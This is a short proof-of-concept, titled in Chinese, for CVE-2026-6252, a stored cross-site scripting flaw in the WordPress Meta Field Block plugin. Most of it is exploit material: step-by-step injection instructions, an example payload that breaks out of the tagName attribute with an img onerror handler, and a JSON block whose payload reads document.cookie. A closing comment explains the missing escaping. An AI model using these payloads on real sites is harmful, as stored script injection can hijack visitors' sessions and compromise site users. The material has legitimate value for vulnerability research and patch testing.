CVE-2026-6252: WordPress Meta Field Block插件存储型XSS漏洞

// PoC for CVE-2026-6252 // Context: WordPress Post Editor with Meta Field Block active // 1. Add a "Meta Field Block" to a page. // 2. In the block settings, modify the 'tagName' attribute. // 3. Inject payload into the tagName field. // Example payload structure: // "><img src=x onerror=alert('XSS')><" // Simulated JSON block data representing the malicious payload: const maliciousBlock = { "blockName": "meta-field-block/meta-field-block", "attrs": { "fieldName": "example_field", "tagName": "\"><img src=x onerror=alert(document.cookie)><\"" }, "innerHTML": "", "innerBlocks": [], "innerContent": [] }; // Description: // When the block is rendered, the plugin likely constructs an HTML element like: // <[tagName]>...</[tagName]> // Due to lack of escaping, this becomes: // <"><img src=x onerror=alert(1)><">Content...</"><img src=x onerror=alert(1)><"> // The browser interprets the <img> tag and executes the script.